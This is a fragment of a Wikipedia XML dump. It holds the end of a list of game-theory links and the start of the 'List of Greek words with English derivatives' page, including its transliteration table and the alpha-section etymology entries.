* Alvin Roth: [http://www.economics.harvard.edu/~aroth/alroth.html Game Theory and Experimental Economics page] - Comprehensive list of links to game theory information on the Web
* Mike Shor: [http://www.gametheory.net Game Theory .net] - Lecture notes, interactive illustrations and other information.
* Jim Ratliff's [http://virtualperfection.com/gametheory/ Graduate Course in Game Theory] (lecture notes).
* [http://homepages.cwi.nl/~robu/ Valentin Robu's] [http://homepages.cwi.nl/~robu/aamas/aamas_demo.html software tool] for simulation of bilateral negotiation (bargaining)
* Don Ross: [http://plato.stanford.edu/entries/game-theory/ Review Of Game Theory].
* Bruno Verbeek and Christopher Morris: [http://plato.stanford.edu/entries/game-ethics/ Game Theory and Ethics]
* Chris Yiu's [http://www.yiu.co.uk/gametheory/ Game Theory Lounge]
* Elmer G. Wiens: [http://www.egwald.com/operationsresearch/gameintroduction.php Game Theory] - Introduction, worked examples, play online two-person zero-sum games.
* [http://www.socialcapitalgateway.org/eng-gametheory.htm Web sites on game theory and social interactions]


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    </revision>
  </page>
  <page>
    <title>List of Greek words with English derivatives</title>
    <id>11925</id>
    <revision>
      <id>41569288</id>
      <timestamp>2006-02-28T05:17:27Z</timestamp>
      <contributor>
        <ip>81.102.121.66</ip>
      </contributor>
      <comment>/* Φ */</comment>
      <text xml:space="preserve">{{MetaSidebar|20%|#eeffff|right|Greek alphabet|Transliteration schemes
&lt;table&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Greek &lt;/td&gt; &lt;td&gt;Traditional&lt;/td&gt;&lt;td&gt;Classical&lt;/td&gt;&lt;td&gt;Modern&lt;/td&gt;
&lt;tr&gt; &lt;td&gt;Α α &lt;/td&gt;&lt;td&gt; a &lt;/td&gt;&lt;td&gt; a &lt;/td&gt;&lt;td&gt; a&lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Β β &lt;/td&gt;&lt;td&gt; b &lt;/td&gt;&lt;td&gt; b &lt;/td&gt;&lt;td&gt; v&lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Γ γ &lt;/td&gt;&lt;td&gt; g &lt;/td&gt;&lt;td&gt; g &lt;/td&gt;&lt;td&gt; gh, y&lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Δ δ&lt;/td&gt;&lt;td&gt; d &lt;/td&gt;&lt;td&gt; d &lt;/td&gt;&lt;td&gt; dh &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Ε ε &lt;/td&gt;&lt;td&gt; e &lt;/td&gt;&lt;td&gt; e &lt;/td&gt;&lt;td&gt; e &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Ζ ζ &lt;/td&gt;&lt;td&gt; z &lt;/td&gt;&lt;td&gt; z, zd &lt;/td&gt;&lt;td&gt; z&lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Η η &lt;/td&gt;&lt;td&gt; e &lt;/td&gt;&lt;td&gt; ē &lt;/td&gt;&lt;td&gt; i &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Θ θ &lt;/td&gt;&lt;td&gt; th &lt;/td&gt;&lt;td&gt; th &lt;/td&gt;&lt;td&gt; th &lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Ι ι &lt;/td&gt;&lt;td&gt; i &lt;/td&gt;&lt;td&gt; i &lt;/td&gt;&lt;td&gt; i&lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Κ κ &lt;/td&gt;&lt;td&gt; c &lt;/td&gt;&lt;td&gt; k&lt;/td&gt;&lt;td&gt; k&lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Λ λ &lt;/td&gt;&lt;td&gt;l &lt;/td&gt;&lt;td&gt;l&lt;/td&gt;&lt;td&gt;l &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Μ μ &lt;/td&gt;&lt;td&gt; m &lt;/td&gt;&lt;td&gt; m&lt;/td&gt;&lt;td&gt; m&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; Ν ν&lt;/td&gt;&lt;td&gt; n &lt;/td&gt;&lt;td&gt; n&lt;/td&gt;&lt;td&gt; n &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Ξ ξ &lt;/td&gt;&lt;td&gt; x &lt;/td&gt;&lt;td&gt; x &lt;/td&gt;&lt;td&gt; x&lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Ο ο &lt;/td&gt;&lt;td&gt; o &lt;/td&gt;&lt;td&gt; o &lt;/td&gt;&lt;td&gt; o &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Π π &lt;/td&gt;&lt;td&gt; p&lt;/td&gt;&lt;td&gt; p &lt;/td&gt;&lt;td&gt; p&lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Ρ ρ &lt;/td&gt;&lt;td&gt; r &lt;/td&gt;&lt;td&gt; r&lt;/td&gt;&lt;td&gt; r&lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Σ σ ς &lt;/td&gt;&lt;td&gt; s &lt;/td&gt;&lt;td&gt; s&lt;/td&gt;&lt;td&gt; s &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Τ τ &lt;/td&gt;&lt;td&gt; t &lt;/td&gt;&lt;td&gt; t&lt;/td&gt;&lt;td&gt; t &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Υ υ &lt;/td&gt;&lt;td&gt; y &lt;/td&gt;&lt;td&gt; u &lt;/td&gt;&lt;td&gt; i&lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Φ φ &lt;/td&gt;&lt;td&gt; ph&lt;/td&gt;&lt;td&gt; ph &lt;/td&gt;&lt;td&gt; ph, f&lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Χ χ &lt;/td&gt;&lt;td&gt; ch &lt;/td&gt;&lt;td&gt;kh&lt;/td&gt;&lt;td&gt;kh&lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Ψ ψ &lt;/td&gt;&lt;td&gt; ps&lt;/td&gt;&lt;td&gt; ps &lt;/td&gt;&lt;td&gt;ps &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;Ω ω &lt;/td&gt;&lt;td&gt; o&lt;/td&gt;&lt;td&gt; ō &lt;/td&gt;&lt;td&gt; o&lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;αι &lt;/td&gt;&lt;td&gt; ae, e &lt;/td&gt;&lt;td&gt; ai&lt;/td&gt;&lt;td&gt; e, ai&lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;αυ &lt;/td&gt;&lt;td&gt; au &lt;/td&gt;&lt;td&gt; au &lt;/td&gt;&lt;td&gt; af, av&lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;ει &lt;/td&gt;&lt;td&gt; i &lt;/td&gt;&lt;td&gt; ei &lt;/td&gt;&lt;td&gt; i&lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;ευ &lt;/td&gt;&lt;td&gt; eu &lt;/td&gt;&lt;td&gt; eu&lt;/td&gt;&lt;td&gt; ef, ev&lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;γγ &lt;/td&gt;&lt;td&gt; ng &lt;/td&gt;&lt;td&gt; ng&lt;/td&gt;&lt;td&gt; ng&lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;γξ &lt;/td&gt;&lt;td&gt; nx&lt;/td&gt;&lt;td&gt; nx &lt;/td&gt;&lt;td&gt; nx&lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;γκ &lt;/td&gt;&lt;td&gt; nc &lt;/td&gt;&lt;td&gt; nk&lt;/td&gt;&lt;td&gt; g, ng&lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;γχ &lt;/td&gt;&lt;td&gt; nch &lt;/td&gt;&lt;td&gt; nkh&lt;/td&gt;&lt;td&gt; nkh&lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;μπ &lt;/td&gt;&lt;td&gt; mp &lt;/td&gt;&lt;td&gt; mp &lt;/td&gt;&lt;td&gt; b, mb&lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;ντ &lt;/td&gt;&lt;td&gt; nt &lt;/td&gt;&lt;td&gt; nt&lt;/td&gt;&lt;td&gt; d, nd&lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;οι &lt;/td&gt;&lt;td&gt; oe, e&lt;/td&gt;&lt;td&gt;oi &lt;/td&gt;&lt;td&gt; i&lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;ου &lt;/td&gt;&lt;td&gt; u &lt;/td&gt;&lt;td&gt; ou &lt;/td&gt;&lt;td&gt; ou, u&lt;/tr&gt;
&lt;/table&gt;
}}
{{expand list}}
This is a '''list of Greek words with derivatives in English''' (and other modern languages).
&lt;table id=toc border=0&gt;&lt;tr&gt;&lt;th&gt;Contents&lt;tr&gt;&lt;td&gt;
*[[#Transliteration|Transliteration]]
*[[#Greek Words with Modern Derivatives|Greek Words with Modern Derivatives]]
**[[#Α|Α]] [[#Β|Β]] [[#Γ|Γ]] [[#Δ|Δ]] [[#Ε|Ε]] [[#Ζ|Ζ]] [[#Η|Η]] [[#Θ|Θ]] [[#Ι|Ι]] [[#Κ|Κ]] [[#Λ|Λ]] [[#Μ|Μ]] [[#Ν|Ν]] [[#Ξ|Ξ]] [[#Ο|Ο]] [[#Π|Π]] [[#Ρ|Ρ]] [[#Σ|Σ]] [[#Τ|Τ]] [[#Υ|Υ]] [[#Φ|Φ]] [[#Χ|Χ]] [[#Ψ|Ψ]] [[#Ω|Ω]]
*[[#See also|See also]]
*[[#External links|External links]]
&lt;/table&gt;
__NOTOC__ 

==Transliteration==
There are considerable differences between the various [[transliteration]]s used to represent the [[Greek alphabet]] in [[English Language|English]]. The table in the sidebar shows:
* the &quot;traditional&quot; transliteration, in other words that used in [[Latin]], representing classical Greek: this is the form in which most Greek words have made their way into English
* a &quot;classical&quot; transliteration, commonly used to represent more accurately the pronunciation of Ancient Greek
* the &quot;modern&quot; transliteration often used for [[Modern Greek]] &amp;mdash; see [[Transliteration of Greek into English]] for some variations.

Greek had no letter h: a [[rough breathing]] over an initial vowel or diphthong &amp;ndash; {{polytonic|ἁ ἑ ἡ ἱ ὁ ὑ ὡ}} &amp;ndash; indicates that the word was pronounced with an initial h, and a [[smooth breathing]] &amp;ndash; {{polytonic|ἀ ἐ ἠ ἰ ὀ ὐ ὠ}} &amp;ndash; indicates the absence of an h, but this has since disappeared in speech, and Modern Greek omits the breathings. An initial [[Upsilon (letter)|upsilon]] ({{polytonic|υ}}) always had the rough breathing &amp;ndash; {{polytonic|ὑ}} &amp;ndash; hence ''hy'' is very common at the start of words derived from Greek, but no (or very few) such words start with ''y''.

The letter [[Rho (letter)|rho]] ({{polytonic|ρ}}) at the start of a word always had the rough breathing &amp;ndash; {{polytonic|ῥ}} &amp;ndash; and is transliterated ''rh''. If a rho occurred doubled within a word, the first {{polytonic|ρ}} always had the smooth breathing and the second the rough breathing &amp;ndash; {{polytonic|ῤῥ}} &amp;ndash; leading to the transiliteration ''rrh''.

For a fuller discussion of these matters, see [[Greek alphabet]].

&lt;small&gt;Note: the distinction between the rough and smooth breathings as shown above may not be very clear on certain browsers.&lt;/small&gt;

== Greek Words with Modern Derivatives ==

The Citation form shown is the form most commonly shown in dictionaries, but this form is often unrepresentative of the word as used to form a compound word, hence the Root form is also shown.

The &quot;classical&quot; transliteration as described above is used for both the Citation form and the Root form.

The Greek words are shown in [[polytonic orthography]], in other words showing the breathings and the fuller range of accents, as used in Ancient Greek.
&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
&lt;br&gt;

===Α===

'''''(h)a'''''

{| border=&quot;1&quot;
!colspan=2 |Citation form!! colspan=2 |Root form!!Meaning!! English Derivative
|-
|{{polytonic|ἀ-}}||a-||{{polytonic|ἀ-&lt;br&gt;ἀν-}}||a-&lt;br&gt;an-||without, not||[[adiabatic]], [[agnostic]], [[ahistorical]], [[Amorality|amoral]], [[anaemia]], [[anaesthesia]], [[anhydrous]], [[anonymous]], [[apathy]], [[asymmetric]], [[asymptote]], [[atrophic]]
|-
|{{polytonic|ἄβαξ}}||ābax||{{polytonic|ἀβαξ}}-||abac-||reckoning-board, used for counting votes||[[abacus]]
|-
|{{polytonic|ἄβιος}}||ābios||{{polytonic|ἀβιο}}-||abio-||without a living, starving [http://www.perseus.tufts.edu/cgi-bin/ptext?doc=Perseus%3Atext%3A1999.04.0057%3Aentry%3D%2391]||[[abiosis]], [[abiogenesis]], [[Abiotic petroleum|abiotic]]
|-
|{{polytonic|ἄβουλος}}||āboulos||{{polytonic|ἀβουλ}}-||aboul-||indecisive||[[abulia]]
|-
|{{polytonic|ἄβυσσος}}||ābussos||{{polytonic|ἀβυσσ}}-||abyss-||bottomless||[[abyss]], [[abyssal]], [[abyssocottidae]], [[abyssopelagic]]
|-
|{{polytonic|ἄγαλμα}}||āgalma||{{polytonic|ἀγαλμ}}-||agalm-||glory, delight, honour, statue||[[agalmatolite]], [[Statuephilia|agalmatophilia]], [[agalmics]]
|-
|{{polytonic|ἄγαμος}}||āgamos||{{polytonic|ἀγαμ}}-||agam-||not married||[[agamia]], [[agamidae]], [[agama]]
|-
|{{polytonic|ἄγαθή}}||agathē||{{polytonic|ἀγαθ}}-||agath-||good||[[agate]], [[Agatha]]
|-
|{{polytonic|ἀγάπη}}||agapē||{{polytonic|ἀγαπ}}-||agap-||love||[[Love styles|agape]], [[agapanthus]], [[agapanthaceae]]
|-
|{{polytonic|ἀγαρικόν}}||agarikon||{{polytonic|ἀγγαρ}}-||angar-||from Αgari, a town in Sarmatia||[[agaricus]], [[agaricales]], [[agaricaceae]]
|-
|{{polytonic|ἀγαυός}}||agauos||{{polytonic|ἀγαυ}}-||agav-||illustrious, noble||[[agave]], [[agavaceae]], [[agavaceae]]
|-
|{{polytonic|ἀγγαρεία}}||angareia||{{polytonic|ἀγγαρ}}-||angar-||impressment for public service||[[angary]], [[angaria]], [[Angaria|angariate]]
|-
|{{polytonic|ἀγγείον}}||angeion||{{polytonic|ἀγγειο}}-||angio-||vessel||[[angiosperm]], [[angiocardiography]], [[angiodysplasia]], [[angiogenesis]], [[angiogram]], [[angiography]], [[angioma]], [[angiopathy]], [[angioplasty]], [[angiosperma]], [[angiostatin]], [[angiotensin]], 
|-
|{{polytonic|ἄγγελος}}||angelos||{{polytonic|ἀγγελ}}-||angel-||messenger||[[archangel]], [[evangelist]]
|-
|{{polytonic|ἄγειν}}||agein||{{polytonic|ἀγω}}-||agō-||to drive, lead||[[pedagogue]], [[wiktionary:anagoge|anagoge]], [[mystagogue]] 
|-
|{{polytonic|ἄγευστος}}||ageustos||{{polytonic|ἀγευσ}}-||ageus-||not tasting or having tasted||[[ageusia]]
|-
|{{polytonic|ἅγιος}}||hagios||{{polytonic|ἁγιο}}-||hagio-||holy||[[hagiography]], [[hagiology]], [[hagiographa]]
|-
|{{polytonic|ἀγκυλόπους}}||ankulōpous||{{polytonic|ἀγκυλοπ}}-||ankylοp-||with bent legs [http://www.perseus.tufts.edu/cgi-bin/ptext?doc=Perseus%3Atext%3A1999.04.0057%3Aentry%3D%23597]||[[ancylopoda]]
|-
|{{polytonic|ἀγκύλος}}||ankulos||{{polytonic|ἀγκυλ-&lt;br&gt;ἀγκυλ}}-||ancyl-&lt;br&gt;angul-||crooked, curved [http://www.perseus.tufts.edu/cgi-bin/ptext?doc=Perseus%3Atext%3A1999.04.0057%3Aentry%3D%23598]||[[ancylus]],&lt;br&gt;[[angle]]
|-
|{{polytonic|ἀγκύλωσις}}||ankulōsis||{{polytonic|ἀγκυλο}}-||ankylο-||stiffening of the joints||[[ankylose]], [[ankyloglossia]], [[ankylosaurus]]
|-
|{{polytonic|ἄγκυρα}}||ankyra||{{polytonic|ἀγκυρ}}-||anchor-||anchor||[[anchoring]], [[anchor|anchorage]]
|-
|{{polytonic|ἀγκών}}||ankōn||{{polytonic|ἀνισο}}-||aniso-||elbow||[[ancon]], [[anconad]], [[anconal]]
|-
|{{polytonic|ἄγνωστος}}||agnōstos||{{polytonic|ἀγνωστ}}-||agnost-||not known||[[agnosticism]], [[agnostic]], [[agnostida]], [[agnostidae]], [[agnost]],
|-
|{{polytonic|ἀγορά}}||agora||{{polytonic|ἀγορ}}-||agor-||marketplace||[[agoraphobia]], [[agoranomic]], [[agora (disambiguation)|agora]]
|-
|{{polytonic|ἄγρα}}||agra||{{polytonic|-ἀγρα}}||-agra||seizure, trap||[[podagra]], [[pellagra]]
|-
|{{polytonic|ἀγρός}}||agros||{{polytonic|ἀγρο}}-||agro-||tilled land||[[agrobiology]], [[agronomics]], [[agriculture]], [[agrology]]
|-
|{{polytonic|ἂγχειν}}||ankhein||{{polytonic|ἀγχει-&lt;br&gt;ἀγχει}}-||angi-&lt;br&gt;anxi-||to compress, press tight, to strangle, throttle, choke
||[[angina]]&lt;br&gt;[[anxious]]
|-
|{{polytonic|ἀγωνία}}||agōnia||{{polytonic|ἀγων}}-||agōn-||agony||[[agonize]], [[antagonistic]], [[agony]]
|-
|{{polytonic|ἀδάμας}}||adamas||{{polytonic|ἀδαμα}}-||adama-||unconquerable, diamond||[[adamant]], [[adamantine]]
|-
|{{polytonic|ἀδελφός}}||adelphos||{{polytonic|ἀδελφ}}-||adelph-||brother||[[adelphopoiesis]], [[Philadelphia]], [[monadelphous]]
|-
|{{polytonic|ἀδήν}}||adēn||{{polytonic|ἀδενο}}-||adeno-||gland||[[adenoma]], [[List of diseases starting with A|adenomelablastoma]], [[adenomyosis]], [[adenosine]]
|-
|{{polytonic|Ἅδης}}||Hades||{{polytonic|Ἁδη-&lt;br&gt;Ἁδο}}-||hade-&lt;br&gt;hado-||god of the underworld||[[hadean]], [[hadopelagic]]
|-
|{{polytonic|ἀδιάβατος}}||adiabatos||{{polytonic|ἀδιάβατ}}-||adiabat-||impassable ||[[adiabatic]]
|-
|{{polytonic|ἁδρός}}||hadros||{{polytonic|ἁδρο}}-||hadro-||thick||[[hadron]], [[hadrosaurus]]
|-
|{{polytonic|ἀδυναμία}}||adunamia||{{polytonic|ἀδυναμι}}-||adynami-||loss of strength or vigor||[[adynamia]], [[adynamic]]
|-
|{{polytonic|ἀδιάφορος}}||adiaphoros||{{polytonic|ἀδιάφορ}}-||adiaphor-||indifferent||[[adiaphora]], [[adiaphorism]]
|-
|{{polytonic|ἄδυτον}}||aduton||{{polytonic|ἀδυτ}}-||adyt-||not to be entered||[[adytum]]
|-
|{{polytonic|ἀέριος}}||aerios||{{polytonic|ἀέρι}}-||aeri-||of the air||[[aerial]], [[aerie]]
|-
|{{polytonic|ἀερόβιος}}||aerobios||{{polytonic|ἀερόβι}}-||aerobi-||living in air||[[aerobic]], [[aerobics]], [[aerobiology]], [[wikt:anaerobic|anaerobic]]
|-
|{{polytonic|ἀηδής}}||aēdēs||{{polytonic|ἀηδ}}-||aed-||distasteful, unpleasant||[[aedes]], [[Toxorhynchites|genus aedes]]
|-
|{{polytonic|ἀήρ}}||aēr||{{polytonic|ἀέρο}}-||aero-&lt;br&gt;air-||air||[[aerobatics]], [[aerobics]], [[aerodrome]], [[aerodynamics]], [[aerodynamic]], [[aeroelasticity]], [[aerofoil]], [[aerography]], [[aeronautics]], [[aerophobia]], [[aerophonic]], [[aerosol]], [[aerospace]], [[aerospike]], [[aerostat]], anaerobic,&lt;br&gt; [[airplane]], [[airbag]], [[airbase]], [[airborne]], [[airbrake]], [[aircraft]], [[airfield]], [[airline]]s, [[airmail]], [[airship]], [[airspace]], [[airspeed]], [[airstream]]
|-
|{{polytonic|ἄηχος}}||aēchos||{{polytonic|ἀηχος}}-||anecho-||without sound ||[[anechoic]], [[anechoic chamber]]
|-
|{{polytonic|ἀθήρα}}||athēra||{{polytonic|ἀθηρ}}-||ather-||gruel||[[atheroma]], [[atherosclerosis]]
|-
|{{polytonic|ἀθλητής}}||athlētēs||{{polytonic|αθλητ}}-||athlet-||contestant in the games||[[athlete]], [[athletics]]
|-
|{{polytonic|αἰθήρ}}||aethēr||{{polytonic|αἰθερ}}-||ether-||massless medium||[[ether]], [[ethereal]]
|-
|{{polytonic|αἰγίς}}||aegis||{{polytonic|αἰγισ}}-||aegis-||armour of Zeus||[[aegis (disambiguation)|aegis]]
|-
|{{polytonic|Aἴγυπτος}}||Aegyptos||{{polytonic|Αἴγυπτο}}-||Αegypto-||{{polytonic|Aἰγαίου ὑπτίως}}, ''Aegaeou uptiōs'', below the Aegean, according to Strabo||[[Egyptology]]
|-
|{{polytonic|αἰκία}}||aikia||{{polytonic|αἰκ}}-||aic-||torture, suffering||[[aecium]], [[aeciospore]]
|-
|{{polytonic|αἳμα}}||haima||{{polytonic|αἳμ}}-||em-&lt;br&gt;hem-&lt;br&gt;haem-||blood||[[anemia]], [[anemic]], [[hemophilia]], [[hemorrhage]]
|-
|{{polytonic|Aἴολος}}||Aeolus||{{polytonic|Aἴολ}}-||Aeol-||Keeper of the Winds ''Gk. Myth''||[[Aeolic]], [[Aeolian]], [[Aeolotropy]]
|-
|{{polytonic|αἰπύς}}||aipus||{{polytonic|αἰπυ}}-||aepy-||high and steep, utter|| [[aepycamelus]], [[aepyorniformes]], [[aepyornis]], [[aepyornises]], [[aepyornithidae]]
|-
|{{polytonic|αἰσθάνεσθαι}}||aisthanesthai||{{polytonic|αἰσθητ}}-||aesthet-||to perceive, apprehend by the senses||[[aestheticize]]
|-
|{{polytonic|αἰσθητικός}}||aisthētikos||{{polytonic|αἰσθη}}-||aesthē-||of sense-perception, sensitive, perceptive||[[aesthetic]], [[aesthetician]], [[aestheticism]], [[aesthete]], [[aesthetics]]
|-
|{{polytonic|αἰσχύνω}}||aeschunō||{{polytonic|αἰσχύν}}-||aeschyn-||dishonour, shame||[[aeschynanthus]], [[aeschynite-(Y)|aeschynite]]
|-
|{{polytonic|αἰτία}}||aetia||{{polytonic|αἰτι}}-||aeti-&lt;br&gt;eti-||cause||[[etiology]], [[aetiology]]
|-
|{{polytonic|αἰχμή}}||aikhmē||{{polytonic|αἰχμ}}-||aikhm-||point of a spear||[[Aechmophorus clarki|aechmophorus]], [[Bromeliaceae|aechmea]]
|-
|{{polytonic|αἰών}}||aeōn||{{polytonic|αἰών}}-||eon-||age||[[eon]]
|-
|{{polytonic|αἰώνιος}}||aeōnios||{{polytonic|αἰώνι}}-||aeonι-||lasting for an age||[[aeonium]], [[aeonian]]
|-
|{{polytonic|Ἀκαδημία}}||Akadēmia||{{polytonic|Ἀκαδημ}}-||akadēm-||the school where Plato taught,&lt;br&gt;the field of Academos||[[academy]], [[academic]]
|-
|{{polytonic|ἀκακία}}||akakia||{{polytonic|ἀκακια}}-||akakia-||harmless||[[List of Acacia species|acacia]]
|-
|{{polytonic|ἀκαλύφη}}||akaluphē||{{polytonic|ἀκαλυφ}}-||acalyph-||stinging-nettle||[[acalypha]], [[acalyphoideae]], [[calyphoideae]]
|-
|{{polytonic|ἄκανθος}}||akanthos||{{polytonic|ἄκανθ}}-||akanth-||thorn plant||[[acantharea]], [[acanthite]], [[acanthocephala]], [[acanthocercus]], [[acanthodactylus]], [[acanthosaura]], [[acanthous]]
|-
|{{polytonic|ἀκάρι}}||akari||{{polytonic|ἀκαρ}}-||akar-||a kind of mite||[[acarid]], [[acariasis]], [[acarology]]
|-
|{{polytonic|ἄκαρπος}}||akarpos||{{polytonic|ἀκαρπ}}-||acarp-||not producing fruit, fruitless||[[acarpous]]
|-
|{{polytonic|ἀκατάληκτος }}||akatalēktos||{{polytonic|ἀκατάληκτος}}-||acatalekt-||not incomplete, incessant||[[acatalectic]]
|-
|{{polytonic|ἀκέφαλος}}||akephalos||{{polytonic|ἀκεφαλ}}-||akephal-||headless||[[acephali]], [[acephaly]], [[Acephalous line|acephalous]]
|-
|{{polytonic|ἀκλινής}}||aklinēs||{{polytonic|ἀκλιν}}-||aclin-||unswerving, without inclination||[[aclinic]], [[aclinic line]]
|-
|{{polytonic|ἀκμή}}||akmē||{{polytonic|ἀκ}}-||ac-||highest point&lt;br&gt;facial erruptin||[[acme]]&lt;br&gt;[[acne]]
|-
|{{polytonic|ἀκόλουθος}}||akoluthos||{{polytonic|ἀκόλουθ}}-||akoluth-||follower||[[anacoluthon]]
|-
|{{polytonic|ἀκόνη}}||akonē||{{polytonic|ἀκον}}-||akon-||whetstone||[[aconitum]], [[paragon]]
|-
|{{polytonic|ἀκούειν}}||akouein||{{polytonic|ἀκουστικ}}-||acoustic-||to hear||[[acoustic guitar]], [[acoustic nerve]], [[acoustic theory]], [[acoustical engineering]], [[acoustics]]
|-
|{{polytonic|ἄκρον}}||akron||{{polytonic|ἀκρο}}-||acro-||edge, topmost||[[acrobat]], [[acrocephalus]], [[acrochordidae]], [[acrochordon]], [[acromantula]], [[acronym]], [[acrotomophilia]]
|-
|{{polytonic|ἀκροστιχίς}}||akrostikhis||{{polytonic|ἀκροστιχ}}-||acrostic-||headline, end-line||[[acrostic]]
|-
|{{polytonic|ἀκτίς}}||aktis||{{polytonic|ἀκτινo}}-||aktino-||ray||[[actinium]], [[actinobacteria]], [[actinodine]], [[actinolite]], [[actinometer]], [[actinomorphous]], [[actinomycetes]], [[actinophryid]], [[actinophryids]], [[actinopteri]], [[actinopterygii]], [[actinozoa]]
|-
|{{polytonic|ἂκτωρ}}||aktor||{{polytonic|ἀκτ}}-||act-||leader, from {{polytonic|ἂγω}}, to lead or carry, to convey, bring [http://www.perseus.tufts.edu/cgi-bin/ptext?doc=Perseus%3Atext%3A1999.04.0057%3Aentry%3D%233757]&lt;br&gt;altern. from L. actus, (agere, to drive)||[[actor]]
|-
|{{polytonic|ἀλάβαστρος}}||alabastros||{{polytonic|ἀλάβαστρ}}-||alabastr-||a varietiy of mineral||[[alabaster]]
|-
|{{polytonic|ἀλλαντοειδής}}||allantoeidēs||{{polytonic|ἀλλαντο}}-||allanto-||sausage-shaped||[[allantois]], [[allantoid]], [[allantoin]]
|-
|{{polytonic|ἀλεξείν}}||alexein||{{polytonic|ἀλεξ}}-||alex-||to ward off||[[Alexander]], [[alexipharmic]], [[alexipyretic]], [[alexiteric]]
|-
|{{polytonic|ἄλευρον}}||aleuron||{{polytonic|ἀλευρο}}-||aleuro-||flour, meal||[[aleurone]], [[aeluromancy]]
|-
|{{polytonic|ἀλληγορείν}}||allēgorein||{{polytonic|ἀλληγορ}}-||allēgor-|| to interpret allegorically||[[allegory]]
|-
|{{polytonic|ἄλγος}}||algos||{{polytonic|ἀλγ}}-||alg-||pain||[[nostalgia]], [[arthralgia]], [[cardialgia]], [[cephalalgia]], [[coxalgia]], [[fibromyalgia]], [[hemialgia]], [[metralgia]], [[myalgia]], [[neuralgia]], [[odontalgia]], [[otalgia]], 
|-
|{{polytonic|ἀλείφειν}}||aleiphein||{{polytonic|ἀλειφ}}-||aleiphein-||to anoint with oil||[[aliphatic]], [[Aliphatic hydrocarbon]]
|-
|{{polytonic|ἄλκιμος}}||alkimos||{{polytonic|ἀλκ}}-||alc-||strong||[[analcite]]
|-
|{{polytonic|ἄλκυών}}||alkuōn||{{polytonic|ἀλκυ}}-||halcy-||kingfisher||[[Tree Kingfisher|halcyon]], [[halcyonic]], [[halcyonidae]]
|-
|{{polytonic|ἄλληλον}}||allēlon||{{polytonic|ἀλληλο}}-||allēlo-||of one another||[[allelomorph]], [[parallelogram]]
|-
|{{polytonic|ἄλλος}}||allos||{{polytonic|ἀλλο}}-||allo-&lt;br&gt;alle-||other, different||[[allocholesterol]], [[allochton]], [[allodium]], [[allodontidae]], [[allogenes]], [[allograft]], [[allography]], [[allolactose]], [[allometry]], [[allomorph]], [[allopath]], [[allopatry]], [[allophony]], [[allopoiesis]], [[allopurinol]], [[allosaur]], [[allotroph]], [[allotropic]], [[allotropy]]&lt;br&gt;[[allergy]]
|-
|{{polytonic|ἅλς}}||hals||{{polytonic|ἁλ}}-||hal-||salt||[[halogen]]
|-
|{{polytonic|ἀλλότροπος}}||allotropos||{{polytonic|ἀλλoτροπ}}-||allotrop-||strange||[[allotropy]], [[allotropes]], [[allotropism]]
|-
|{{polytonic|ἁλύσκειν}}||haluskein||{{polytonic|ἁλυσκ}}-||halluc-||flee from, shun, avoid, escape [http://www.perseus.tufts.edu/cgi-bin/ptext?layout.refembed=2&amp;layout.refdoc=Perseus%3Atext%3A1999.04.0057&amp;layout.refcit=entry%3Da%29luska%2Fzw&amp;doc=Perseus%3Atext%3A1999.04.0058%3Aentry%3D%231609&amp;layout.reflookup=a%29lu%2Fskw&amp;layout.reflang=greek&amp;layout.refwordcount=1]&lt;br&gt;alt. f. L. hallucinar, to dream, be deceived||[[Peduncular hallucinosis|hallucinosis]], [[hallucinate]]
|-
|{{polytonic|ἄλυσσος}}||alyssos||{{polytonic|ἀλυσσ}}-||alyss-||a plant believed to cure rabies||[[alyssum]], [[Alyssa]]
|-
|{{polytonic|ἄλφα}}||alpha||{{polytonic|ἄλφα}}-||alpha-||alpha||[[alphabet]], [[alphabetize]], [[alphagram]], [[alphandia]], [[alphanumeric]], [[alpha particle]]
|-
|{{polytonic|ἀλώπηξ}}||alōpēx||{{polytonic|ἀλωπ}}-||alop-||fox||[[alopecia]]
|-
|{{polytonic|ἅλως}}||halōs||{{polytonic|ἁλως}}-||halo-||round shape, the disk of the sun, circular arcade at Delphi||[[halo]]
|-
|{{polytonic|Ἀμαζών}}||Amazōn||{{polytonic|Ἀμαζο}}-||Amazo-||female warriors ''Gk. Myth.''||[[Amazons|Amazon]], [[Amazonomachy]], [[Amazonite]], [[Amazonia]]
|-
|{{polytonic|ἀμάλακτος}}||amalaktos||{{polytonic|ἀμαλ}}-||amalg-||that cannot be softened||[[amalgam]], [[amalgamation]]
|-
|{{polytonic|Ἀμάλθεια}}||Amalthēa||{{polytonic|ἀμάλθει}}-||Amalthe-||the foster-mother of Zeus||[[Amalthea]]
|-
